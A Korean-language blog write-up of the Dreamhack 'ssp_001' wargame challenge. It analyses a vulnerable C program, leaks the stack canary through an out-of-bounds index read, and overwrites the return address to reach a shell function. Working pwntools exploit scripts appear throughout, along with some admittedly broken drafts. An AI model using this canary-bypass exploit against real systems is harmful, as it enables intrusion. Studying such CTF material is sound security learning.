rosieblue
article thumbnail
728x90

문제정보

Description

이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

 
Environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Reference
Stack Smashing Protector

 
Canary Leak을 통해 버퍼오버플로우를 하는 문제이다. NX enabled가 되어있다.
 

취약점 분석

문제코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() { //셸 실행 함수가 있는 걸보니.. 여기로 return address 옮기라는 건가
    system("/bin/sh"); //ASLR는 설정 안되어있는 것??
}

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
//box는 unsigned인 char arrary, idx는 인덱스 
//print_box함수는 box[idx]를 %02x(최대 2자리)만큼 출력해줌

void menu() { //메뉴
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
} 

int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {}; //2byte할당
    int idx = 0, name_len = 0;
    initialize();
    while(1) { //계속 반복
        menu();
        read(0, select, 2); //read 중간 인자는 읽은 걸 저장하는거!!!
				//첫번제 인자 0은 stdin
				//stdin에서 2byte만큼 읽어서 select에 저장. 왜2개나 저장함? 
				//보통  \n 때문에그런가..??ㄹㅇㄹㅇㄹㅇㄹㅇ 걍 추측
        switch( select[0] ) { //엥 그런데 select[1]은 왜 있는거임?그러면?
            case 'F': //fill
                printf("box input : ");
                read(0, box, sizeof(box)); //stdin에서 0x40만큼 읽어서 box에 저장
                break;
            case 'P': //print
                printf("Element index : ");
                scanf("%d", &idx); //인덱스 번호 입력 흐음.... idx>0x40으로 해도 출력되나?
                print_box(box, idx); 
				//print_box함수는 box[idx]를 %02x(최대 2자리)만큼 출력해줌
                break;
            case 'E': //exit
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len); //name에다 name len만큼 저장
                return 0; //머야 걍 name_len 크게해줘서 하면 되네 ㅋ...
            default:
                break;
        }
    }
}

보기에는 복잡해보이지만, name_len을 받을 때 딱히 검증 없이 받고 이만큼 읽으므로 name_len을 크게한 후 Return Address Overwrite을 하면된다.
 
대충 실행해보니까 아래와 같다

일단 문자열으로 입력되고 element에는 16진수(문자 A는 16진수로 41)로 출력된다.

시나리오

►  0x804872f <main+4>     sub    esp, 0x94
   0x8048735 <main+10>    mov    eax, dword ptr [ebp + 0xc]
   0x8048738 <main+13>    mov    dword ptr [ebp - 0x98], eax
   0x804873e <main+19>    mov    eax, dword ptr gs:[0x14] ;gs:[0x14]이게 카나리인가보다
   0x8048744 <main+25>    mov    dword ptr [ebp - 8], eax ;이게 카나리 저장하는 부분인듯
   0x8048747 <main+28>    xor    eax, eax
   0x8048749 <main+30>    lea    edx, [ebp - 0x88]
   0x804874f <main+36>    mov    eax, 0
   0x8048754 <main+41>    mov    ecx, 0x10
   0x8048759 <main+46>    mov    edi, edx
   0x804875b <main+48>    rep stosd dword ptr es:[edi], eax ;eax를 16번 반복해서 edi 위치에 저장
                         					;eax=0x00000000 이므로 4byte*16=64byte만큼 edi 위치부터 edi+0x40만큼 0으로 초기화함

 
 
직접 카나리를 어디서 참조하는지 보기

더보기
   0x804873e <main+19>    mov    eax, dword ptr gs:[0x14] ;gs:[0x14]이게 카나리인가보다
   0x8048744 <main+25>    mov    dword ptr [ebp - 8], eax ;이게 카나리 저장하는 부분인듯

gs:0x14의 값을 카나리로 하는 것 같다. gs는 어떻게 접근할까?

https://www.kernel.org/doc/html/latest/x86/x86_64/fsgs.html

 

28.8. Using FS and GS segments in user space applications — The Linux Kernel documentation

28.8. Using FS and GS segments in user space applications The x86 architecture supports segmentation. Instructions which access memory can use segment register based addressing mode. The following notation is used to address a byte within a segment: Segmen

www.kernel.org

 

위 내용에 따르니 아래와 같은 함수의 인자에 GS 혹은 FS가 들어간다고 한다

 

Reading the base:

arch_prctl(ARCH_GET_FS, &fsbase); arch_prctl(ARCH_GET_GS, &gsbase);

Writing the base:

arch_prctl(ARCH_SET_FS, fsbase); arch_prctl(ARCH_SET_GS, gsbase);

 

바이너리를 시작할 때 함수 arch_prctl에 catch를 걸어주자 그리고 그때의 ebx를 보고 거기다 0x14를 더해주자

catch syscall arch_prctl를 통해 저기다 catchpoint를 걸어줬다. 그러면 이제 저 함수가 실행되려고 하면 실행이 멈춘다

tlqkf 근데 저거 걸어주면 이상한거 뜬다;;킹받네........... 차피 이거 알아도 맨날 바뀌어서... 알아내도 의미가 있으려나...?

일단 그러면 먼저 canary leak을 다른 방식으로 해보도록 하겠다

 
 
 
그러면 일단 시나리오는 다음과 같다.

case 'P': //print
	printf("Element index : ");
	scanf("%d", &idx); //인덱스 번호 입력 흐음.... idx>0x40으로 해도 출력되나?
	print_box(box, idx); 
	//print_box함수는 box[idx]를 %02x(최대 2자리)만큼 출력해줌
	break;

먼저 case 'P'를 통해 카나리를 leak해준다. 하지만 킹받는게 print_box 함수는 1byte씩 출력해주기 때문에 8번 반복해야한다(카나리가 8byte이므로)  -> 4번 반복해줘야한다!! canary가 ebp-0x8위치에있다고 무조건 8byte라는 보장은 없다

사실 맨처음에는 그냥 8byte로 해서 구했다(이렇게해도 답은 맞지만 굳이 4번 반복할걸 8번 반복할 필요는 없다! ebp-0x8~ebp-0x5까지 canary이고, ebp-0x4~ebp-0x1까지 dummy이다. dummy인건 어떻게 알았냐면 일단 함수시작할때부터 계속 같은 값이 고정되어있고, eax를 ebp-0x8부분에 넣을 때 ebp-0x8~ebp-0x5 부분만 딱 0에서 어떤 랜덤값으로 바뀐다!!

idx는 box시작 부분부터 카나리 시작 위치로 하겠다. 첫번째 출력값은 0x00이 나와야한다.
아무튼 이렇게 해서 카나리를 알아낼 수 있다.
보통은 버퍼뒤 널바이트를 overwrite시켜준 후 다시 프린트해주는 방식으로 카나리릭을 하지만, 얘는 원하는 위치를 모두 출력할 수 있기 때문에! *(box+idx) 에서 idx를 우리의 입력으로 받으니까-> idx>배열 크기여도 이렇게 접근할 수 있다!! 여기서 idx에서 0x40보다 크게 해도 먹히는 걸 Out Of Bounds(OOB) 취약점이라고 한다! 배열의 인덱스는 컴파일러에서 따로 검사하지 않는다 그냥 개발자의 몫이다... 따라서 인덱스를 음수로 하든 완전 크게 하든 읽거나 쓰기가 가능하다!!  버퍼로 쭉읽을 필요가 없고 이렇게만 해서 canary leak이 가능하다.

case 'E': //exit
    printf("Name Size : ");
    scanf("%d", &name_len);
    printf("Name : ");
    read(0, name, name_len); //stdin에서 읽은 걸 name에다 name len만큼 저장
    return 0; //main함수 반환 그런데 return address를 조작했으니까 상관 ㄴ

 

더보기

(이전에 시도했던 방법......)

E를 누르고 name_len을 name 시작주소부터 카나리의 null바이트있는 주소까지의 차로 설정한다.

그러면 name시작~(카나리주소+1) 까지가 채워지게된다. (/0를 덮어줄 것이므로 다음에 printf 할 때 카나리까지 출력할 수 있게된다.

그런데.... read가 끝나면....... return을 하게된다... 이건 어떻게 해야됨..? ㅋ..

배고프다!
흐음.. sizeof(box)를 조작해보려고 해봤지만 sizeof는 런타임이 아니라 컴파일시간에 이미 다 결정이 되어버리기 때문에 바꿀 수 없을 것 같다ㅠㅠ

(다시 시작한 새로운 방법)
E를 누르면 결국 main 함수 return을 하게 되기 때문에... return address를 메뉴 출력하는 곳의 주소로 옮기고 다시 거기서부터 시작하지 않는 이상 익스플로잇할수가 없을 것같다..아직 내실력으로는 ㅠㅠ 그래서 카나리릭을 E를통해 null 없애주고 하고 P로 하지않고,  그냥 P로 바로 릭 한다음에 E를하고 get_shell()함수 위치로 return해주자
그러기 위해서는 name_len에 ret_addr끝나는 부분까지 몇바이트 필요한지 구해서 그 수를 입력해주고, read함수 나왔을 때 name위치부터 box 뒤에 있는 dummy(nop으로 해줘야게따)(4byte)+P를 통해 구한 카나리(4byte)+SFP부분(4byte)+get_shell()함수주소(4byte)를 name에 저장하자.
이게 정상적으로 잘 된다면 뒤에 return 0;명령을 통해 return을 get_shell()으로 할 것이다.
 
 

스택 프레임 정보 획득하기

이제 우리는 name 위치부터 카나리까지의 거리 차를 구해야한다.
아래 어셈블리를 분석해보자

얘는 eax를 edi 위치에 저장하는걸 0x10번(ecx번)반복한다. 참고로 edi에 저장될때마다 edi는 계속 증가한다 보통

EAX,ECS,EDI만 보자

eax=0x00000000 이므로 4byte*16=64byte만큼 edi(0xffffcfe0) 위치부터 edi+0x40(0xffffd020)만큼 0으로 초기화한다 box를 초기화하는 과정인가보다. 추측하기를 box의 시작위치가 0xffffcfe0이라는 것을 알 수 있다.
 

반복문 끝나고 보니 역시 edi값이 0xffffd020이 되어있다! (4*0x10=0x40만큼 증가

반복문으로 초기화하는게 신선했다!!
 

여기도 똑같다. 여기서 edi=0xffffd020(box끝나고 바로 뒤!), eax=0x0 ecx=0x10이다.

으음 근데 여기 위치가 0xffffd020해서 위로 0x40만큼되는데...그럼 얘가 name이 아닌 box위치인가보다
따라서 name위치는 0xffffcfe0(ebp-0x88), box위치는 0xffffd020(ebp-0x48)인듯하다 (ebp는 0xffffd068임!)
아니었다... box위치는 0xffffcfe0(ebp-0x88)name위치는 0xffffd020(ebp-0x48) 이었다..box가 name보다 주소가 낮다(스택은 위에!) 사실 왜 이렇게 되는지는 잘 모르겠다.... 먼저 box를 할당해주면 위치는 상관이없는건가..?
(만약 aslr걸려있어도 일케 분석해도 되는 거같은데 그이유가 aslr걸려도 상대적 위치는 동일할 거니까? )
암튼 그래서 카나리 위치는 역시 esp-0x8인걸 알 수 있당

이후 순서대로 select, idx, name_len으로 초기화

참고로 name_len의 위치는 ebp-0x90=0xffffcfd8이다.. 여기다 최종 길이?넣어줘야함

0xffffd068이 ebp이므로 그 위에 카나리가 있을 것. 바로 윗줄의 0xf7ffcb80b776dc00이 카나리 같다(이걸 리틀엔디안으로 바꿔야하나...???? 그런것 같다....) 그런데 매번 바뀌므로.. 보통 printf 등을 통해 leak 한다 우리는 scanf로 할거임 위에서 말했듯이) 

새로 프로세스 시작했는데 역시 카나리 부분에 아까랑 다른 카나리가 저장됨(근데 거의 비슷함...뭐지..? 왜냐면 저 f7ffcb80부분은 dummy거든...)
 

d068~d06c까지 return address 저장됨

 

여기서 다시 ebp 근방 봐보겠음

 

익스플로잇

위에서 알아낸 최종적인 스택 프레임 구조는 아래와 같다.

name_len=0x40+0x40+0x8+0x4+0x4=0x90 (name 시작부터 Return_address 끝까지 다 채워줘야하므로)

ㅄ이다 박스부터 시작해서 계속 틀렸었음 ;

payload=b'0x90'*0x40+b'0x00'+canary+b'0x90'*0x4+b'0x90'*0x4+get_shell()addr 이다.
 
왜 box가 name보다 위인지는 사실 잘 모르겠다. 실행해보면 저게 맞긴한데 흐음 보통 먼저 선언한애를 스택 밑에다 쌓지 않나..?왜 순서 이상하게 넣음? 킹받네;
 
1) get_shell() 구하기

 -> aslr걸려있어도 PIE가 안걸려있으니까 코드 세그먼트 부분 위치는 안변다! 따라서 get_shell()함수 위치는 고정!

왕 쉽게 구한 get_shell의 주소 0x080486b9 ~
 
2) canary 구하기
음 이게 가장 귀찮다;
 
위 코드를 다시 끌고 왔다

case 'P': //print
	printf("Element index : ");
	scanf("%d", &idx); //인덱스 번호 입력 흐음.... idx>0x40으로 해도 출력되나?
	print_box(box, idx); 
	//print_box함수는 box[idx]를 %02x(최대 2자리)만큼 출력해줌
	break;

 
따라서 idx는 0x80(128)부터 0x83(131)까지해주겠다 (80부터 87아님 ^^ 인간적으로 16진수는 좀 고쳐라 뿡뿡아)

예상대로 128번째는 00이 나오고 중간에 카나리가 나오다가 dummy가 끝나는 136부터는 00이 나오고 있다

이런 그림으로 하는거다! 하지만 우리는 저거를 하나하나 쳐보고 쉘코드까지 보낼 여유가없으므로 pwntools를 이용한다.
 
여기서 주의할 점이 있다. select는 2개를 배열에 저장하고 select[0]만 결과에 반영한다
이게 무슨 소리냐? 밑을 보자
 
 문제에 도움 안되는 문제 구경해보기 (보니까 문제에 도움됨)
 
문제에서 while문 근방을 보면 다음처럼 나온다.

char select[2]={}
/*...*/
while(1) { //계속 반복
        menu();
        read(0, select, 2); //stdin(0)에서 2만큼 읽어서 select에 저장
			    //왜2개나 저장함? 
				//보통  \n 때문에그런가..??ㄹㅇㄹㅇㄹㅇㄹㅇ 걍 추측
        switch( select[0] ) { //엥 그런데 select[1]은 왜 있는거임?그러면?
                        /*.....*/
                        }

일단 select를 선언할 때부터 2byte를 할당해줬다. 그래서 문제를 처음봤을 때는 뭐지 ? 차피 알파벳 하나만 받는데..?싶었다
그런데 보니까 pwntools이런거 안이용하고 보통 그냥 사용자의 입력을 받는 프로세스라면 엔터까지 받아야 넘어갈 것이다.
그래서 엔터를 같이 받으려고 select원소를 2개로 한거다
예를 들어 "P\n"를 입력하면 read함수가 P\n을 다 먹어서 stdin buffer에는 아무것도 안남게된다.
 
아래에서는 FPE를 입력하면 stdin에는 FPE\n가 들어가고 FP만 select에 저장되고 E\n은 stdin buffer에 그대로 남는다

FPE를 넣었더니 일단 처음꺼만 되니까 F로 box input : 이 출력됨
아마 select 배열에 FP는 저장되고, E\n는 stdin에 남아있는듯…? (확실하지 않음)
 

box[1]=0a (\n)가 되고! 0a는 \n(LF)의 16진수 표현이다

아무튼 stdin에 E\n만 남아있다고 치면, E\n가 자동으로 box input : 후 read에 들어가서 box[0]=45가 됨 (45는 문자 ‘E’의 16진수표현), 그리고 box[1]=0a (\n(LF)의 16진수 표현
 
(배운거는 read(0, select, 2); 같은게 있어두 2개 이상 입력해두 나머지가 stdin 버퍼에 남아있다는 거…..? (이것도 신기함) 그래도 stdin, stdout에 대해 조금이나마 깔짝해봐서 좋은 접근이었긴 한듯?)
 
 
아무튼 결론적으로 pwntools로 보낼때는 \n까지 다 보내야한다는거다

이 그림을 보고 어떻게 보내야 카나리를 획득할 수 있는지 생각해보자
P\n129\nP\n130\nP\n131\n 이 순으로 하면 맨 앞 0x00을 제외한 3바이트 카나리가 나온다 

요런식으로 P1129보내면 P1은 select가 먹고 129\n은 scanf가 먹어서 129의 인덱스 출력해준다 stdin buffer의 129는 알아서 scnaf가 정수로 인식한다 왜냐면 scanf("%d")해줬으니까!

 

canary=b""

for i in range(132,128,-1):
	p.recvuntil("> ")
	p.sendline("P")
    #p.recvuntil("index : ") <- 사실 없어도 되는듯
	#p.sendline(i) <-이거 안됨 sendline은 문자열만 입력으로 받음;
	p.sendline(str(i))
    #Element of index %d is : %02x\n <- 이렇게 출력되므로 저 %02x 부분만 받자
	canary+=(p.recvline().split()[-1])

cananry+=b"\x00"
print(canary)

이렇게 했더니 오류였다... 왜냐하면 출력을 하니 카나리가 b'12fa'이런식으로 떴는데 이건 b'0x12fa'랑 아예 다른거기 때문이다.. (b'12fa'이거는 12fa라는 문자열을 나타냄 -> 4byte!! 한편 b'0x3d12'는 0x3d12라는 16진수값을 나타냄 ->2byte!)
 
그래서 이렇게 바꿨따

recv통해 받은 바이트 b'1a' 꼴을 16진수정수(10진수)로 바꾸고 이를 다시 16진수 문자열로 바꾼거다.

그런데도 얘에서 계속 오류나서 한번 제대로 설명해보겠다. 결론은 hex를 쓰면 안된다는 거다
 
recv계열함수는 즉 가져오고 싶은 값이 a3이라면 얘는 b'a3'이런 식으로 가져온다. 그래서 얘를 int(b'a3',16)꼴로 해줘서 정수형으로 바꿔줘야한다. 그런데 이 값은 10진수가 된다. 하지만 파이썬에서 문자열이 아닌 그저 정수로는 16진수로 나타낼 수 없다. (예를들어 a=0x12이렇게 저장해도 내부적으로는 10진수로 처리된다)
따라서 int(p.recvline().split()[-1],16) 자체를 hex 씌우지 말고(왜냐면 hex반환값은 문자열이니까!) p32의 인자로 넘겨줘야한다.(왜냐하면 p32이런애들은 인수로 정수밖에 못 받기 때문이다)
 
한편 p32(11)를 하면 \x0a\x00\x00\x00 이런식으로 된다..(난 원래 p32이런데다 16진수 꼴만 넣어야하는줄..하지만 아니었음 ㅎㅎ) 하지만 우리가 원하는 건 하나의 바이트일 뿐인걸..? \x0a 로 나타내구 싶다구 ! 뒤에 00들 없애구ㅜㅜ

역시나 찾아보니 p8이 있었다.
그럼 이제 찐으로 카나리 구하는거 정리해보자

#P(문자열)\n129(숫자)\nP\n130\nP\n131\nP\n132\nP\n133\nP\n134\nP\n135\n 
from pwn import *

p=remote("host3.dreamhack.games",20364)

canary=b""

for i in range(135,128,-1):
	p.recvuntil("> ")
	p.sendline("P")
    #p.recvuntil("index : ") <- 사실 없어도 되는듯
	#p.sendline(i) <-이거 안됨 sendline은 문자열만 입력으로 받음;
	p.sendline(str(i))
    #Element of index %d is : %02x\n <- 이렇게 출력되므로 저 %02x 부분만 받자
	canary+=p8(int(p.recvline().split()[-1],16)) 

canary+=b"\x00"
print(canary)

바이트 형식으로 잘 나온다ㅠㅠ

정리해보면 아래와같다
recv계열 반환값 : byte (b'A')
hex 함수 반환값 : 문자열 ("0x12")
int(...,16)함수 반환값 : 10진수 정수
p32,p64 인자 : 정수
p32,p64 반환값 : byte
 
이렇게 하니까 카나리가 잘 출력된다

 
이제 얘를 페이로드랑 합쳐줘야한다
 
 
3) 페이로드 구하기
걍 payload=b'0x90'*0x40+canary+b'0x90'*0x4+b'0x90'*0x4+p32(0x080486b9) 해주면된다 

payload=b'\x90'*0x80+canary+b'\x90'*0x4+p32(0x080486b9)

p.recvuntil("> ")
p.sendline("E")
p.sendline(str(144))
p.recvuntil("Name : ")
p.sendline(payload)

p.interactive()

흐음... 이렇게 했는데도 안돼서... 혹시 바이트수가 제대로 안갔는지 궁금해서 이를 확인해줬다

 

getsizeof와 함께하는 여정.. 결국은 사이즈 이상해도 잘만 가긴했는데, 아직도 왜저렇게 나오는지 의문

더보기
import sys

print(sys.getsizeof(canary)) #41
print(sys.getsizeof(payload)) #177

payload 사이즈 - canary 사이즈 =136인데, 이건 맞으므로 카나리사이즈가 문제가 있다.
카나리 사이즈가 8이 되어야하는데 41이된다..왜이러냐
 
그래서 카나리 구하는 반복문에 아래 코드를 넣어줬다

for i in range(135,128,-1) 여기에다가!
카나리 시작이 34부터 시작하는 걸 볼 수 있다

그렇다면 반복문에서는 1byte씩 하나하나 잘 들어가는데 시작이 이상하다는걸 알 수 있었다
우리는 맨처음에 canary 초기화를 canary=b""이렇게 했었는데, 다시 얘를 getsizeof()함수로 구하니까 33인가 나왔다
 
따라서 초기화가 이상하다는 걸 알 수 있었다.
흠.. b""의 크기가 33이라는게 너무 이상한데..
https://dojang.io/mod/page/view.php?id=2462 

 

파이썬 코딩 도장: 47.3 bytes, bytearray 사용하기

파이썬에서 바이너리 데이터를 처리할 때는 bytes와 bytearray를 사용합니다. 바이너리는 2진수를 의미하는데, 바이너리 데이터는 컴퓨터가 처리하는 데이터 형식을 뜻합니다. 47.3.1  bytes bytes는 1바

dojang.io

위 글을 함 참고해봤다 bytes객체는 수정이 불가능하지만 bytearray는 수정이 가능하댄다

#P(문자열)\n129(숫자)\nP\n130\nP\n131\nP\n132\nP\n133\nP\n134\nP\n135\n 
from pwn import *

p=remote("host3.dreamhack.games",20364)

canary=b""

for i in range(135,128,-1):
	p.recvuntil("> ")
	p.sendline("P")
    #p.recvuntil("index : ") <- 사실 없어도 되는듯
	#p.sendline(i) <-이거 안됨 sendline은 문자열만 입력으로 받음;
	p.sendline(str(i))
    #Element of index %d is : %02x\n <- 이렇게 출력되므로 저 %02x 부분만 받자
	canary+=p8(int(p.recvline().split()[-1],16)) 

canary+=b"\x00"
print(canary)

gpt가 하라는데로 다 해봤는데 때려죽여도 34나온다; 제발 1좀 나오게 해줘........
아미친 그럼 char로 선언해볼까??? 걔는 1byte일거 아냐..?
보니까 파이썬은 자료형이 딱히 없어서 명시적으로 char라고 지정해줄 수도 없음 ㅋ,,

 

그냥 때려치고 걍 익스플로잇 시도해봤다 



강의에서 stack canary 어떻게 보냈는지 다시 코드 봐서 분석해봤다

아직도 왜 p64와 u64를 둘다해주는지 모르겠다ㅠㅠ

아하... 찐 카나리는 u64해준 버전이고 걔가 리틀 엔디안 방식으로 저장되면서 0x00이 메모리에서 맨 앞에 나온 꼴이 된거!

 

 

최종 코드 및 결과

from pwn import *

p=remote("host3.dreamhack.games",22395)

canary=b"\x00"

for i in range(129,132): 
	p.recvuntil("> ")
	p.sendline("P")
	p.sendline(str(i))
	canary+=p8(int(p.recvline().split()[-1],16)) 
	
#canary=b"\x00\xf?\x....." (총 8byte)
#음 사실 이것도 아니었고,,, 그냥 4BYTE은 DUMMY였다;;;
#앞으로 dummy있는지 체크도 하자
payload=b'\x90'*0x40+canary+b'\x90'*0x04+b'\x90'*0x04+p32(0x80486b9)

p.recvuntil("> ")
p.sendline("E")
p.sendlineafter("Name Size : ",str(144))
p.sendlineafter("Name : ",payload)

p.interactive()

 

profile

rosieblue

@Rosieblue

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!